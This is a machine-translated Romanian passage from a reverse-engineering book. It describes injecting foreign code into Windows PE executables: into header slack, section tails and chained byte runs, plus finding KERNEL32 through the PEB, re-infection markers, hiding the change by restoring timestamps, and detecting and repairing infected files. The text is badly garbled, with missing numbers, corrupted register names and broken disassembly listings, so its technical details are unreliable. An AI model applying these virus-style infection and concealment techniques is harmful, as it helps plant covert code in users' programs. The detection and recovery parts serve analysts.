GetProcAddress Dacă cel puțin una dintre aceste condiții nu se potrivește, micșorăm indicatorul cu KB și repetăm din nou întreaga procedură Câteva considerente: înainte de a citi ceva din memorie, apelați funcția isBadReadPtr, asigurându-vă Partea IV Tehnici avansate de dezasamblare ca ai dreptul sa faci asta Rețineți că Windows Advanced Server și Datacenter Server acceptă opțiunea de pornire / GB, care oferă procesului GB de RAM și mută limita de scanare în sus cu GB Pentru a simplifica identificarea KERNEL DLL, puteți utiliza câmpul Name rva conținut în Export Directory Table și indicând numele bibliotecii dinamice Cu toate acestea, trebuie amintit că acest câmp poate fi fals (încărcătorul de sistem îl ignoră) □ Prin specificarea adresei funcției kernel „ except handler ” la care se adresează handlerul implicit de excepții structurale Această funcție nu este exportată de kernel, dar este prezentă în tabelul de simboluri de depanare, care poate fi descărcat de la http://msdn microsoft com/download/symbols Aceasta se face astfel: mov esi, fs: [ ] /lodsd/lodsd După ce codul a fost executat, registrul eax conține o adresă undeva în profunzimea KERNEL /DLL Aliniați-l la limita de KB și căutați semnături mz/pe, așa cum se arată în paragraful anterior Acesta este cel mai corect și mai fiabil mod de căutare, recomandat pentru utilizare □ Determinarea adresei de încărcare de bază a KERNEL DLL prin PEB : mov eax, fs:[ZON]/mov eax, [eax + Ch]/mov esi, [eax + ICh]/lodsd/mov ebx, [eax + h], - codul de bază este returnat în registrul eux Aceasta este o tehnică foarte simplă, deși nesigură, deoarece structura vuietului se poate schimba în orice moment S-a schimbat de cel puțin trei ori în istoria Windows, iar REV este disponibil doar în Windows NT □ Folosind API-ul nativ al sistemului de operare, cu care se interacționează fie prin întreruperea int Fh (Windows v), fie prin întreruperea int Eh (Windows NT, Windows ), fie prin comanda mașinii syscaii (Windows XP) O scurtă listă a funcțiilor principale poate fi găsită în Lista de întreruperi a lui Ralph Brown, disponibilă gratuit pe Internet: http://www ctyme com/rbrown htm Aceasta este metoda cea mai consumatoare de timp și cea mai puțin fiabilă dintre toate Nu numai că funcțiile Native API nu sunt doar nedocumentate și supuse schimbărilor constante, dar sunt și primitive, adică implementează cele mai simple funcții de nivel scăzut care nu sunt potrivite pentru utilizare directă Din punct de vedere tehnic, principiile de încorporare a codului X în fișierele PE practic nu diferă de principiile similare de încorporare a codului în fișierele ELF, cu excepția denumirilor câmpurilor de servicii și a strategiei de modificare a acestora Cu toate acestea, o analiză detaliată a specificațiilor și dezasamblarea încărctorului de sistem dezvăluie un întreg strat de subtilități care sunt necunoscute nici măcar profesioniștilor În orice caz, până acum niciun protector/ambalator nu a scăpat de erori grosolane de proiectare și implementare Există următoarele metode de implementare: A Plasarea codului X deasupra programului original (numită și suprascriere); B Plasarea codului X în spațiul liber al programului (integrare); C Adăugarea codului X la începutul, mijlocul sau sfârșitul fișierului, păstrând în același timp conținutul original; D Plasarea codului X în afara corpului principal al fișierului purtător (de exemplu, într-o bibliotecă dinamică sau într-un flux NTFS) încărcat de „capul” codului X încorporat în fișier în moduri A, B sau C Deoarece metoda A duce la o pierdere ireversibilă a funcționalității programului original și este de fapt utilizată numai în viruși, nu este luată în considerare aici Toți ceilalți algoritmi de încorporare sunt complet sau parțial reversibile Vă rugăm să rețineți că serverul nu acceptă navigarea prin browser și numai cele mai recente versiuni ale Microsoft Kernel Debugger și NuMega Softlce funcționează cu acesta Structura PEB (Process Environment Block) conține toți parametrii modului utilizator asociați procesului dat de către sistem Capitolul Dezasamblarea fișierelor PE pe de biți Cerințe pentru codul X Codul X trebuie conceput pentru a satisface cerințele stricte ale mediului necunoscut și uneori foarte ostil al codului străin în care este încorporat În primul rând, codul X trebuie să fie complet relocabil, adică trebuie să rămână operabil indiferent de adresa de bază de încărcare Acest lucru se realizează folosind adresarea relativă: determinând locația sa actuală apelând apel $ + /pop eur, codul X poate converti offset-urile din corpul său în adrese efective prin simpla adăugare a acestora la eur Desigur, aceasta nu este singura schemă Există și altele, dar nu ne vom opri asupra lor, deoarece nu au nicio legătură cu fișierele PE În al doilea rând, un cod X bine conceput nu își modifică niciodată celulele, deoarece nu știe dacă are sau nu permisiuni de scriere, dar reduce și imunitatea programului gazdă Desigur, atunci când este încorporat în secțiunea de date, această restricție pierde relevanța acesteia Cu toate acestea, scrierea la secțiunea de date nu este permisă în toate cazurile Optimismul este bine, dar programatorul trebuie să se aștepte la cel mai rău caz Desigur, acest lucru nu înseamnă că codul X nu poate fi auto-modificabil sau că nu ar trebui să modifice deloc nicio celulă de memorie! La serviciul lui și stiva (memorie automată), și memoria dinamică (heap), și stiva inel a coprocesorului, în sfârșit! În al treilea rând, codul X trebuie să fie extrem de compact, deoarece spațiul adecvat pentru implementare este uneori foarte limitat Este logic să împărțiți codul X în două părți: un bootloader mic și o „coadă” mai lungă Încărcătorul este cel mai bine plasat într-un antet PE sau într-o secvență obișnuită din fișier, iar coada este plasată într-un flux de suprapunere sau NTFS, combinând astfel diverse metode de încorporare În cele din urmă, codul X nu își poate permite să întârzie controlul cu mai mult de câteva sutimi, cel mult zecimi de secundă, altfel faptul implementării va deveni prea vizibil și va enerva foarte mult utilizatorul, ceea ce nu ar trebui niciodată permis injectare cod X Înainte de a încorpora într-un fișier, trebuie să vă asigurați că acesta nu este un driver, nu conține tabele non-standard în directorul de date și este disponibil pentru modificare Prezența suprapunerilor este extrem de nedorită și, fără nevoie specială, este mai bine să nu încorporați nimic în fișierul de suprapunere și, dacă o faceți, rămâneți la cea mai nedureroasă strategie de încorporare - strategia A Să aruncăm o privire mai atentă la aceste cerințe: □ Dacă fișierul este localizat pe un mediu protejat la scriere sau nu avem suficiente drepturi pentru a-l scrie/citi (de exemplu, fișierul este blocat de un alt proces), ar trebui să refuzăm implementarea □ Dacă fișierul are un atribut care interzice modificarea, fie eliminați acest atribut, fie refuzați încorporarea □ Dacă câmpul Subsistem > h sau Subsistem SizeOfFile, atunci fișierul conține cel mai probabil o suprapunere și îl puteți încorpora numai folosind metoda A □ Dacă dimensiunea fizică a uneia sau mai multor secțiuni depășește dimensiunea virtuală cu o valoare mai mare sau egală cu fa, iar dimensiunea virtuală nu este egală cu zero, atunci fișierul țintă conține o suprapunere Când încorporați într-un astfel de fișier, utilizați numai strategia A Ar trebui să vă amintiți despre necesitatea de a restabili atributele fișierului și momentul creării, modificării și ultimului acces al acestuia (majoritatea dezvoltatorilor se limitează la un singur timp de modificare, ceea ce demască faptul implementării) Dacă câmpul sumă de control nu este egal cu zero, ar trebui fie să lăsați un astfel de fișier în pace, fie să calculați singur o nouă sumă de control, de exemplu, apelând funcția API checkSumMappedFile Resetarea sumei de control, așa cum fac unii, este categoric inacceptabilă, deoarece cu certificate de securitate active, sistemul de operare va refuza pur și simplu să încarce fișierul! Câteva considerații mai generale Recent, din ce în ce mai des avem de-a face cu fișiere executabile de o dimensiune monstruoasă, apropiindu-se constant de marca de câțiva gigaocteți Procesarea unor astfel de monștri bucată cu bucată este plictisitoare și dificilă Descărcarea întregului fișier este prea lentă și nu va permite Windows să aloce atât de multă memorie! Prin urmare, este logic să folosiți fișiere mapate în memorie gestionate de funcțiile CreateFileMapping și MapViewOfFile/UnmapViewOfFile Pe lângă îmbunătățirea performanței și simplificarea programării, aceasta elimină toate restricțiile privind limita de dimensiune, care poate ajunge acum la Exabytes, ceea ce corespunde la bytes) Alternativ, puteți limita dimensiunea fișierelor procesate la câțiva megaocteți, care sunt ușor de copiat în buffer-ul operațional și puteți reduce cantitatea de cod „strapping” la minimum (cei care au lucrat cu fișiere de la GB și mai sus vor înțelege) Prevenirea reintroducerii " Yu În timp ce alchimiștii medievali încercau să creeze un alcogest - un solvent universal care dizolvă totul și totul - adversarii lor au glumit: gândește-te, în ce îl vei păstra? Și, deși alcogest nu a fost niciodată inventat, ideea sa nu a murit și încă entuziasmează mințile scriitorilor de virusuri care adăpostesc ideea unui virus fundamental nedetectabil Ar putea un astfel de virus să existe în principiu? Și dacă da, cum va putea să distingă fișierele deja infectate de cele care nu sunt încă infectate? În caz contrar, același fișier va fi infectat de multe ori și este puțin probabil ca numeroase copii ale virușilor să poată coexista pașnic între ele Un cod X care rămâne funcțional chiar și după mai multe implementări este numit reinfectat Reinfectabilitatea impune cerințe stricte atât asupra algoritmilor de implementare în general, cât și asupra strategiei de comportament X-code în special Este evident că codul X care este încorporat în stub-ul MS-DOS nu este reinfectabil și fiecare copie ulterioară se suprascrie Sarcina de a obține alcogest, pe care și-au propus alchimiștii, nu a fost niciodată rezolvată, dar oamenii de știință adevărați care se ocupă de știința reală trebuie să rezolve probleme similare Ca exemplu, putem cita problema izolării fluorului în forma sa pură, a cărui soluție era foarte costisitoare pentru chimiști Mulți oameni de știință au suferit arsuri grave, otrăviri și chiar au murit în urma experimentelor lor A se vedea, de exemplu, articolul „Strokes to portraits of faimosi chimisti” (http://him lseptember ru/articlef php?ID= ) Capitolul Dezasamblarea fișierelor PE pe de biți însuși cel precedent Protectorii care monopolizează resursele sistemului pentru a rezista depanatorilor (de exemplu, decriptează/criptează în mod dinamic programul protejat punând paginile de memorie în modul watchdog și apoi interceptând întreruperi) vor intra în conflict între ei, provocând fie o blocare, fie o blocare a programului Un exemplu clasic de reinfectare este X-code, care se anexează la sfârșitul unui fișier și returnează controlul programului gazdă după ce toate operațiunile planificate au fost finalizate Odată cu implementarea repetată, codurile X par să se „desfășoare”, transferând controlul ca prin ștafetă Cu toate acestea, dacă firul de control se încurcă, totul se va prăbuși imediat Să presupunem că codul X este legat de offset-ul său fizic, numărându-l relativ la sfârșitul fișierului Apoi, cu introducere repetată, celule complet diferite aparținând codului X al altcuiva vor fi localizate la aceste adrese, iar comportamentul ambelor va deveni nedefinit Înainte de a injecta cod X nereinfectabil într-un fișier, trebuie să vă asigurați că nu a fost injectat niciun alt cod în fișier Din păcate, nu există soluții universale și trebuie să recurgem la diferite metode euristice care recunosc prezența unui cod X străin prin semne indirecte Codurile X înrudite pot întotdeauna „negocia” între ele, marcându-le prezența cu o semnătură unică De exemplu, dacă fișierul conține linia x-code zanzibar aici, atunci refuzăm să implementăm pe motiv că există deja „ai noștri” aici Din păcate, acest truc este foarte nesigur, iar atunci când fișierul este procesat de orice packer/protector, semnătura se pierde inevitabil Ei bine, cu excepția încorporării semnăturii în acea parte a secțiunii de resurse pe care packerii / protectorii preferă să nu o atingă (pictogramă, informații despre fișier etc ) Este și mai sigur să încorporați semnătura în câmpul dată/ora ultimei modificări a fișierului (de exemplu, în câmpul zecimii de secundă) Ambalatorii/protectorii îl restaurează de obicei, dar lungimea scurtă a semnăturii provoacă un număr mare de false pozitive, ceea ce nu este, de asemenea, bun Codurile X nelegate s-au descurcat mult mai rău Ei nu cunosc semnăturile altora și, prin urmare, nu pot spune cu siguranță dacă este posibilă implementarea injecției corecte în dosar sau nu? Prin urmare, codul X, care se pretinde a fi corect, trebuie neapărat să fie reinfectabil, în caz contrar, păstrarea capacității de lucru pentru fișiere nu mai este garantată Ambalatorii se găsesc într-o poziție destul de avantajoasă, deoarece nu puteți comprima același fișier de două ori, iar dacă raportul de compresie se dovedește a fi extrem de mic, cel care ambalează are dreptul de a refuza procesarea unui astfel de fișier Protectorii sunt o alta chestiune Puțini oameni au nevoie de un protector care refuză să proceseze fișierele deja împachetate (criptate) Dacă protectorul monopolizează resurse, refuzând să le furnizeze altcuiva, trebuie neapărat să controleze integritatea fișierului protejat și, la detectarea intruziunii unor persoane din afară, să afișeze pe ecran un avertisment corespunzător, eventual oprirea lucrului În caz contrar, fișierul protejat poate fi împachetat și încercat să fie protejat din nou Consecințele unei astfel de protecție nu vă vor face să așteptați Clasificarea mecanismelor de implementare Mecanismele de implementare pot fi clasificate în diferite moduri: după locul implementării (început, sfârșit, mijloc), după „geopolitică” (ștergerea datelor sursă, pătrunderea în spațiul liber, mutarea datelor sursă într-un nou habitat), prin fiabilitate (implementare extrem de corectă, destul de corectă și extrem de incorectă), prin reinfectabilitate etc Vom pleca de la natura impactului asupra imaginii fizice și virtuale a programului țintă, împărțind toate mecanismele de implementare existente în patru categorii, notate cu latină literele A, B, C și Z □ Categoria A include mecanisme care nu provoacă o schimbare în adresarea imaginilor fizice sau virtuale După ce a fost încorporat într-un fișier, nici lungimea acestuia, nici cantitatea de memorie alocată în timpul încărcării nu se vor modifica și toate structurile de bază vor rămâne la adresele lor anterioare Această condiție este îndeplinită: încorporarea în spațiul liber al fișierului (antetul PE, Partea IV Tehnici avansate de dezasamblare cozi de secțiune, secvențe regulate), încorporarea prin comprimarea unei părți a secțiunii și crearea unui nou flux MTRP în interiorul fișierului □ Categoria B include mecanisme care provoacă doar modificări de adresare a imaginii fizice După ce a fost încorporat într-un fișier, lungimea acestuia crește, dar cantitatea de memorie alocată în timpul încărcării nu se modifică și toate structurile de bază sunt mapate la aceleași adrese Cu toate acestea, compensațiile lor fizice se modifică, ceea ce necesită o restructurare completă sau parțială a structurilor care sunt legate de adresele lor fizice Dacă cel puțin unul dintre ele rămâne necorectat (sau este corectat incorect), cel mai probabil fișierul de transport va eșua □ Categoria C include mecanisme care provoacă modificări de adresare atât în imaginile fizice, cât și în cele virtuale Lungimea fișierului și memoria alocată în timpul încărcării cresc Structurile de bază pot fie să rămână la locul lor (adică, doar decalările numărate de la sfârșitul imaginii/fișierului se modifică), fie să se deplaseze în jurul imaginii paginii într-un mod arbitrar, necesitând o corecție obligatorie Această categorie corespunde cu: extinderea ultimei secțiuni a fișierului, crearea propriei secțiuni și extinderea secțiunilor din mijloc □ Categoria „secretă” Z include mecanisme care nu ating deloc fișierul purtător și pătrund indirect în spațiul său de adrese, de exemplu, prin modificarea cheii de registry responsabilă cu încărcarea automată a bibliotecilor dinamice Viermii de rețea și spionii sunt interesați în primul rând de această tehnologie Virușii îi sunt indiferenți Categoria A este cea mai puțin conflictuală și va duce la un eșec numai atunci când fișierul controlează integritatea acestuia Domeniul de aplicare al categoriilor B și C este mult mai limitat În special, mecanismele care aparțin acestor categorii nu pot procesa fișiere cu informații de depanare, deoarece informațiile de depanare conțin aproape întotdeauna un număr mare de referințe la adrese absolute Formatul său este nedocumentat și, în plus, diferiți compilatori folosesc formate diferite de informații de depanare, așa că este nerealist să corectați referințele la adrese noi Pe lângă informațiile de depanare, există și certificate de securitate și alte structuri de date care trebuie să-și păstreze intacte compensațiile Din păcate, mecanismele de injecție de categoria A impun restricții destul de severe asupra cantității maxime permise de cod X, determinate de cantitatea de spațiu liber disponibil în program Destul de des nu există loc nici măcar pentru un încărcător mic, așa că trebuie să vă asumați un risc forțat folosind alte categorii de implementare Apropo, diferite categorii pot fi combinate între ele, realizând o implementare „hibridă”, moștenind cele mai proaste calități ale tuturor mecanismelor utilizate, dar, odată cu aceasta, acumulând cele mai bune caracteristici ale acestora Cu alte cuvinte, alegerea este a ta! Categoria A: încorporarea în spațiul liber al fișierului Cel mai simplu mod este să infiltrați spațiul liber al fișierului Până în prezent, există trei astfel de locuri: antet PE, cozi de secțiune și secvențe regulate Să le luăm în considerare mai detaliat Încorporarea într-un antet RE Un antet PE tipic, împreună cu un antet MS-DOS și un stub, este de ordinul -zooibytes, iar multiplicitatea minimă de aliniere a secțiunii este de h Astfel, între sfârșitul antetului de la începutul primei secțiuni, există aproape întotdeauna ~ de ore de octeți orfani care pot fi utilizați în „scopuri de producție”, plasând fie întregul Opțional, codul X poate fi introdus în coada clusterului, ocupând unul sau mai multe sectoare neocupate (dacă există), dar această opțiune nu este luată în considerare aici, deoarece nu are nimic de-a face cu fișierele PE Capitolul Dezasamblarea fișierelor PE pe de biți întregul program implementat, sau doar încărcătorul de cod X, care citește continuarea acestuia dintr-un fișier de disc sau registru (Fig ) Înainte de implementare X-code implementat SizeOfHeaders nou Spatiu liber Acoperire Cod X antet Secțiunea de cod Secțiunea de date și secțiuni suplimentare Orez Încorporarea codului X în spațiul liber al cozii antetului PE Implementarea Înainte de a se încorpora în antet, codul X trebuie să se asigure că coada antetului este de fapt liberă, adică SizeOfHeadres HEADER: HEADER: început public HEADER: început: HEADER: sunați + $ HEADER: pop etp HEADER: irov esi, fs: HEADER: C lodsd Partea a IV-a Tehnici avansate de dezasamblare HEADER: D push etp ANTET: Е lodsd HEADER: F push eax A forța să afișeze titlul manual, aparent, este imposibil HIEW este mai acomodat în acest sens, dar nu traduce adresele RVA și tranzițiile din antet și trebuie să le calculați singur După dezasamblarea codului X și determinarea naturii și a strategiei de interceptare a controlului, restaurați fișierul afectat la forma sa originală sau urmăriți codul X în depanator, permițându-i să o facă singur și aruncați descărcarea atunci când este controlul transferat în programul original Desigur, rularea codului X activ sub un depanator este întotdeauna plină de pericole, iar programul depanat poate scăpa de sub control în orice moment Prin urmare, dacă sunteți măcar puțin sigur pe voi, folosiți un dezasamblator, va fi mai sigur Dacă codul X este pierdut, de exemplu din cauza ambalării cu UPX, despachetați fișierul și încercați să identificați codul de pornire al programului original (IDA Pro vă va ajuta cu aceasta) reinstalând punctul de intrare pe acesta Poate fi necesar să reconstruiți vecinătatea punctului de intrare distrus de comanda de salt la codul X Dacă codul de pornire original a început cu un prolog (și în cele mai multe cazuri este), atunci va dura foarte puțin timp pentru a repara fișierul Primii octeți ai prologului sunt standard și ușor de prezis, de obicei B EC EC, B EC C , B EC EC SAU B EC C , iar varianta corectă este determinată de plauzibilitatea dimensiunea cadrului stivei alocat variabilelor locale Cu daune mai grave, algoritmul de recuperare devine ambiguu și este posibil să trebuiască să parcurgeți un număr mare de opțiuni Încercați să identificați compilatorul'" și să studiați codul de pornire furnizat cu acesta - acest lucru simplifică foarte mult sarcina Este mai rău dacă codul X este încorporat într-un loc arbitrar în program, după salvarea conținutului original în antet (care nu mai este la noi) Returnați fișierul corupt din uitare, cel mai probabil, va fi imposibil, în orice caz, nu există rețete universale pentru resuscitarea lui Codul X injectat incorect poate suprascrie tabelul de import al intervalului, situat de obicei în spatele tabelului de secțiuni, iar apoi sistemul va refuza să încarce fișierul Acest lucru se întâmplă atunci când dezvoltatorul determină sfârșitul real al antetului cu următoarea formulă: e lfanew + SizeOfOptionalHeader + h + NumberOfSections* , ceea ce, din păcate, nu este corect După cum am menționat mai devreme, orice compilator/linker este liber să folosească toți octeții de antet SizeOfHeaders Dacă tabelul de import al intervalului dublează tabelul de import standard (și cel mai adesea este), atunci cel mai simplu mod de a repara fișierul este să resetați elementul x al structurii DATA DIRECTORY și EXACT - REFERENȚE la structura IMAGE DIRECTORY ENTRY BOUND IMPORT DACĂ Dacă tabelul de import al intervalului conține (sau mai degrabă conține) biblioteci dinamice unice care nu sunt prezente în toate celelalte tabele, atunci pentru a restaura este suficient să cunoașteți adresa de bază a încărcării acestora Când importul intervalului este dezactivat, adresele efective ale funcțiilor importate, codificate hard în program, se vor referi la pagini de memorie nealocate, iar sistemul de operare va arunca imediat o excepție, raportând adresa virtuală a celulei care a fost accesată Rămâne doar să găsim o bibliotecă dinamică (și cel mai probabil această bibliotecă va fi propria bibliotecă a aplicației în curs de restaurare, care este inclusă în pachetul de distribuție) care să conțină cod mai mult sau mai puțin semnificativ la adresa dată, care coincide cu punctul de intrare la functie Cunoscând numele bibliotecilor importate, puteți restaura cu ușurință tabelul de import al intervalului Pentru decență (pentru ca antivirusurile să nu înjure), puteți elimina codul X inactiv din fișier setând SizeOfHeaders la ultimul octet al tabelului de secțiuni (sau a tabelului de import de interval, dacă există) și până la FS r off, umplerea octeților rămași cu zerouri, simbolul * sau orice alt caracter la alegere Identificarea compilatorilor a fost luată în considerare în parte /// a acestei cărți Capitolul Dezasamblarea fișierelor PE pe de biți Inserarea cozii secțiunii Sistemul de operare Windows x necesită adresele secțiunilor fizice pentru a alinia cel puțin h de octeți, în timp ce Windows NT necesită h Prin urmare, între secțiuni există aproape întotdeauna o anumită cantitate de spațiu liber în care este ușor să te pierzi Luați în considerare structura fișierului Notepad exe din distribuția Windows (Listing - ) Dimensiunea fizică a secțiunii text o depășește pe cea virtuală cu CAh == h octeți și rsec - la fel de mult ca cooh! Destul de spațiu suficient pentru implementare, nu-i așa? Desigur, un astfel de noroc nu cade întotdeauna, dar câteva zeci de octeți liberi pot fi găsiți în aproape orice fișier Lista Așa arată tabelul de secțiuni notepad exe Nume text date rsrc v size CA RVA A r size r offst steag C C Implementarea Înainte de implementare, trebuie să găsiți o secțiune cu atribute adecvate și suficient spațiu liber la sfârșit sau să dispersați codul X în mai multe secțiuni Trebuie avut în vedere că dimensiunea secțiunii virtuale este adesea egală cu cea fizică sau chiar o depășește Acest lucru nu înseamnă că nu există spațiu liber - încercați să scanați coada secțiunii pentru prezența unui șir continuu de zerouri - dacă există într-adevăr unul acolo (și unde s-ar duce?), poate fi folosit în siguranță pentru injectare (Fig ) Adevărat, există un „dar” aici, din anumite motive care nu sunt luate în considerare de marea majoritate a dezvoltatorilor: dacă dimensiunea secțiunii virtuale este mai mică decât cea fizică, încărcătorul ignoră dimensiunea fizică (deși nu este obligat să facă asta), și poate fi orice, inclusiv în mod deliberat fără sens! Dacă dimensiunea Virtuală este zero, încărcătorul folosește dimensiunea fizică ca mărime, rotunjind-o în sus cu valoarea Section Alignment Prin urmare, dacă r off + r sz al unei secțiuni depășește r off din următoarea secțiune, trebuie fie să refuzați procesarea unui astfel de fișier, fie să calculați singur dimensiunea fizică pe baza diferenței brute de offset a două secțiuni învecinate Unele programe stochează suprapuneri în interiorul fișierului (da, în interior, nu la sfârșit!), în timp ce diferența dintre dimensiunile fizice și virtuale, de regulă, se dovedește a fi mai mult decât un multiplu de aliniere fizică Este mai bine să nu atingeți o astfel de secțiune, deoarece introducerea codului X, cel mai probabil, va duce la inoperabilitatea fișierului Din păcate, acest algoritm nu este capabil să prindă suprapuneri mai mici, așa că verificați întotdeauna zona injectată pentru zero și refuzați injecția dacă se află altceva aici Majoritatea dezvoltatorilor de cod X, într-un mod extrem de neglijent, neglijează verificarea atributelor secțiunii, ceea ce duce la erori fatale și alte probleme grave Secțiunea injectată trebuie să fie, în primul rând, accesibilă (steagul image scn mem read este setat) și, în al doilea rând, nepaginabilă (steagul image scn mem discardable este șters) Este de dorit, dar nu obligatoriu, ca cel puțin unul dintre steaguri image scn cnt code și image scn cnt initialized data să fie setat Dacă aceste condiții nu sunt îndeplinite și nu există alte secțiuni adecvate, este permisă modificarea manuală a steagurilor uneia sau mai multor secțiuni Cu toate acestea, performanța aplicației țintă în acest caz nu mai este garantată Dacă sunt setate steaguri image scn mem shared și image scn mem write, oricine și orice poate scrie într-o astfel de secțiune În al doilea rând, adresa sa de încărcare poate fi foarte diferită de ѵ a, deoarece același Windows l vă permite să alocați memorie partajată doar în a doua jumătate a spațiului de adrese Deoarece este imposibil să distingem datele inițializate cu zerouri de datele neinițializate atunci când se injectează în coada unei secțiuni, înainte de a trece controlul codului principal, Partea a IV-a Tehnici avansate de dezasamblare grame X-code ar trebui să acopere urmele, curățând cu atenție totul după sine De exemplu, copiați-vă corpul în stivă sau într-un buffer de memorie dinamic și returnați zerouri în loc Din păcate, mulți oameni uită de acest lucru, drept urmare unele programe nu reușesc să funcționeze Înainte de implementare Spatiu liber Acoperire Cod X antet Secțiunea de cod Secțiunea de date și secțiuni suplimentare Orez Injectarea codului X în coada unei secțiuni rămase de la aliniere Codul încorporat la sfârșitul unei secțiuni supraviețuiește de obicei atunci când fișierul este împachetat sau procesat de protector, deoarece zona de memorie încorporată este acum marcată ca ocupată Excepție fac secțiunile de service, cum ar fi secțiunea pentru elemente relocabile sau secțiunea de import, pe care ambalatorul nu este obligat să le salveze Prin urmare, s-ar putea să le reconstruiască, aruncând tot ce este „inutil” de acolo Algoritmul de injecție generalizat arată cam așa: □ Citiți antetul PE □ Analizați Tabelul Secțiunilor comparând lungimea fizică a secțiunilor cu cea virtuală □ Căutăm secțiuni cu r sz > v sz și le scriem ca candidate pentru implementare, după ce ne asigurăm că coada secțiunii conține doar zerouri □ Dacă r sz - v sz >= fa, atunci nu atingem o astfel de secțiune, deoarece cel mai probabil conține o suprapunere □ Dacă nu s-a putut ajunge la cvorum, căutăm secțiuni care au r sz = imagine Base >= h, altfel tabelul elementelor mutate este într-adevăr nevoie de fișier! De asemenea, nu toate fișierele EXE sunt executabile Sub cea personală, o bibliotecă dinamică se poate ascunde, iar bibliotecile dinamice fără relocare nu pot merge nicăieri Apropo, contrar credinței populare, setarea atributului image file relocs stripped nu interzice deloc sistemul să mute fișierul și pentru a dezactiva corect tabelul de elemente relocate, trebuie să resetați câmpul IMAGE DIRECTORY ENTRY BASERELOC din structura directorului DATA Sunt cunoscuți virușii de laborator care integrează cu pricepere codul X în programul original și folosesc activ „materialul de construcție” găsit în corpul fișierului gazdă De interes principal sunt funcțiile de bibliotecă recunoscute după semnătura lor (de exemplu, spnntf, rând), iar dacă nu se găsește niciuna, codul X își limitează funcționalitatea sau le implementează singur Instrucțiunile pentru o singură mașină, cum ar fi call ebx sau jmp eax, intră și ele în joc Semnificația acestui truc este că o astfel de amestecare a comenzilor X-code cu comenzile programului principal nu permite antivirusurilor să „smulge” codul X din fișier Cu toate acestea, această tehnică nu a fost încă perfecționată și este încă în curs de dezvoltare Implementarea Algoritmul de injecție arată aproximativ așa cum se arată în Fig Pentru implementare se efectuează următoarele operațiuni: □ Scanăm fișierul pentru a căuta secvențe regulate și pentru a selecta lanțurile de cea mai mare lungime dintre ele În același timp, suma lungimilor lor ar trebui să depășească ușor dimensiunile codului X, deoarece fiecare lanț are o medie de octeți de date de serviciu: patru octeți pentru poziția de pornire, un octet pentru lungime, unul pentru conținut original și încă cinci octeți pentru ca comanda mașinii să treacă la o altă treaptă □ Ne asigurăm că nicio parte a lanțului nu aparține nici uneia dintre substructurile listate în directorul de date (substructuri, nu structuri!) Deoarece tabelele de export/import, resurse, elemente mobile formează ierarhii de tip arbore pe mai multe niveluri împrăștiate aleatoriu în întregul fișier, este categoric insuficient să te limitezi doar la verificarea apartenenței la IMAGE DATA DIRECTORY VirtualAddress ȘI IMAGE DATA DIRECTORY Size Capitolul Dezasamblarea fișierelor PE pe de biți Înainte de implementare X-code implementat antet Spatiu liber Secțiunea de cod Acoperire Secțiunea de date și codul X suplimentar |i ' i al secțiunii Orez Injectarea codului X în lanțuri obișnuite □ Verificați atributele secțiunii căreia îi aparține lanțul (image scn mem shared, IMAGE SCN MEM DISCARDABLE sunt resetate, IMAGE SCN MEM READ SAU IMAGE SCN MEM EXECUTE este setată, image scn cnt code sau image scn mEM initialized cnt initialized) □ „Tăiați” codul X în felii, adăugând la sfârșitul fiecăreia dintre ele o comandă pentru a sări la începutul următoarei În același timp, nu trebuie uitat că jmp-ul care corespunde codului mașină ev funcționează cu adrese relative și acestea sunt aceleași adrese care se formează după ce programul este încărcat în memorie Au dreptul să nu coincidă cu decalaje „brute” în interiorul fișierului Cum se calculează corect adresa de salt relativă? Determinăm offset-ul comenzii de tranziție de la începutul fizic al secțiunii, îi adăugăm cinci octeți (lungimea comenzii împreună cu operandul) Valoarea rezultată se adaugă la adresa virtuală a secțiunii și se pune rezultatul în variabila ai Apoi determinăm offset-ul următorului lanț, numărat de la începutul secțiunii căreia îi aparține, și îl adăugăm la adresa virtuală, scriind rezultatul la variabila a Diferența dintre a și ai este operandul instrucțiunii jmp □ Ne amintim adresele de pornire, lungimile și conținutul original al tuturor lanțurilor într-o stocare improvizată construită fie în interiorul antetului PE, fie în interiorul unuia dintre lanțuri Dacă acest lucru nu se face, atunci X-code nu își va putea extrage corpul din fișierul purtător pentru a fi încorporat în toate cele ulterioare Unii dezvoltatori folosesc call în loc de comanda jmp, care împinge adresa de retur în partea de sus a stivei După cum puteți vedea cu ușurință, setul de adrese de retur este localizarea „cozilor” tuturor lanțurilor utilizate, iar adresele „capetelor” sunt stocate în operandul apelului! Extragem următoarea adresă de retur, o reducem cu patru - iar adresa de pornire relativă a următorului lanț este în fața noastră! Identificarea obiectelor afectate Injecția în secvență obișnuită este destul de ușor de recunoscut printr-un lanț lung de instrucțiuni jmp sau de apel care se întinde printr-una sau mai multe secțiuni ale fișierului și adesea situate în locuri care nu sunt deloc caracteristice codului executabil, de exemplu, datele secțiunea (lista ) Dacă codul X este încorporat în interiorul pictogramei, acesta va suferi distorsiuni caracteristice (Fig ) Mai rău, dacă un lanț obișnuit situat în secțiunea de cod conține întregul cod X, atunci pentru a identifica codul încorporat, trebuie să apelezi la dezasamblarea acestuia și la alte trucuri ingenioase Din fericire, astfel de lanțuri obișnuite nu se găsesc aproape niciodată în natură Partea a IV-a Tehnici avansate de dezasamblare JÎ' A : C pushfd A : pushads - A A: E B apel A A ( ) A F: В mov esp,fs:[ ] A : FF push d,fs:[ ] A B: mov fs:[ ],esp A : E apel A - - ( ) - A : D POP ebp A : ED sub ebp, A A: EB B jrrp>s - A - ( ) A : EOE jmps A — — ( ) A : BC mov eax,ebp A : EB C jmps A - ( ) - A : EB E jmps A F - - ( ) A F : EB E jmps A — — ( ) A : EVZE jmps • A — — ( ) A : EB D jmps A D — — ( ) A D : EB D jmps A E — — ( ) A E : D sub eax, • A EA: E mov[ebp][ E],eax A F : push eax A F : adăugați eax, ► " • A F : E mov[ebp][ E],eax A FC: push eax A FD: adăugați eax, ► ■' A : EB jmps A ( ) Orez Încorporarea codului X în pictograma fișierului principal Capitolul Dezasamblarea fișierelor PE pe de biți Recuperarea obiectelor afectate Este practic imposibil să rupeți codul X, care a fuzionat strâns cu acesta, din fișier, deoarece este pur și simplu nerealist să distingeți fragmentele codului X de fragmentele fișierului original Și este necesar? La urma urmei, este suficient să-i iei controlul Din fericire, astfel de coduri X sofisticate practic nu apar în „natura sălbatică” și, de obicei, se limitează la injectarea în regulate libere (din punctul lor de vedere) secvențe care pot aparține unor buffer-uri de date inițializate Dacă codul X nu le curăță după sine înainte de a transfera controlul în programul original, comportamentul său riscă să devină complet imprevizibil (se aștepta să vadă zero în variabila inițializată, dar ce a fost strecurat în ea?) Restaurarea pictogramelor și a bitmap-urilor 